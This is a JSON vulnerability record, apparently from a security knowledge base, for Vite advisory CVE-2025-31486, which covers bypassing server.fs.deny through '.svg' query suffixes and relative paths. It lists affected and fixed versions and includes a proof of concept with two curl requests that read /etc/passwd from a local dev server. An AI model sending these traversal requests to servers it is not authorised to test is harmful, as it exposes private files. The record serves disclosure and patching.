70 行
3.1 KiB
JSON
70 行
3.1 KiB
JSON
{
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"canonical_id": "vite--CVE-2025-31486",
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"system_id": "vite",
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"display_name": "Vite",
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"category": "frameworks",
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"advisory_mode": "core",
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"title": "Vite allows server.fs.deny to be bypassed with .svg or relative paths",
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"summary": "### Summary\n\nThe contents of arbitrary files can be returned to the browser.\n\n### Impact\n\nOnly apps explicitly exposing the Vite dev server to the network (using --host or [server.host config option](https://vitejs.dev/config/server-options.html#server-host)) are affected.\n\n### Details\n\n#### `.svg`\n\nRequests ending with `.svg` are loaded at this line.\nhttps://github.com/vitejs/vite/blob/037f801075ec35bb6e52145d659f71a23813c48f/packages/vite/src/node/plugins/asset.ts#L285-L290\nBy adding `?.svg` with `?.wasm?init` or with `sec-fetch-dest: script` header, the restriction was able to bypass.\n\nThis bypass is only possible if the file is smaller than [`build.assetsInlineLimit`](https://vite.dev/config/build-options.html#build-assetsinlinelimit) (default: 4kB) and when using Vite 6.0+.\n\n#### relative paths\n\nThe check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g. `../../`).\n\n### PoC\n\n```bash\nnpm create vite@latest\ncd vite-project/\nnpm install\nnpm run dev\n```\n\nsend request to read `etc/passwd`\n\n```bash\ncurl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'\n```\n\n```bash\ncurl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'\n```",
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"published_at": "2025-04-04T14:20:05Z",
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"updated_at": "2026-02-04T03:51:38.412061Z",
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"severity": "low",
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"cvss_score": 3.1,
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"exploit_status": "unknown",
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"source_confidence": "official",
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"official_source_url": "https://github.com/vitejs/vite/security/advisories/GHSA-xcj6-pq6g-qj4x",
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"secondary_source_urls": [
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"https://nvd.nist.gov/vuln/detail/CVE-2025-31486",
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"https://github.com/vitejs/vite/commit/62d7e81ee189d65899bb65f3263ddbd85247b647",
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"https://github.com/vitejs/vite",
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"https://github.com/vitejs/vite/blob/037f801075ec35bb6e52145d659f71a23813c48f/packages/vite/src/node/plugins/asset.ts#L285-L290"
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],
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"aliases": [
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"CVE-2025-31486",
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"GHSA-xcj6-pq6g-qj4x"
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],
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"cve_ids": [
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"CVE-2025-31486"
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],
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"ghsa_ids": [
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"GHSA-xcj6-pq6g-qj4x"
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],
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"osv_ids": [
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"GHSA-xcj6-pq6g-qj4x"
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],
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"affected_versions": [
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"introduced=6.2.0, fixed<6.2.5",
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"introduced=6.1.0, fixed<6.1.4",
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"introduced=6.0.0, fixed<6.0.14",
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"introduced=5.0.0, fixed<5.4.17",
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"introduced=0, fixed<4.5.12"
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],
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"fixed_versions": [
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"6.2.5",
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"6.1.4",
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"6.0.14",
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"5.4.17",
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"4.5.12"
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],
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"package_name": "vite",
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"render_markdown": true,
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"case_path": "07-framework-security/frameworks/vite/cases/vite-cve-2025-31486.md",
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"secure_code_topics": [
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"dependency-upgrade-policy",
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"file-upload-validation",
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"proxy-trust-boundary",
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"plugin-extension-trust-policy"
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],
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"status": "generated",
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"triage_reasons": [],
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"metadata": {
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"source_names": [
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"OSV Vite"
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],
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"source_kinds": [
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"osv-batch"
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],
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"candidate_count": 1
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}
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}
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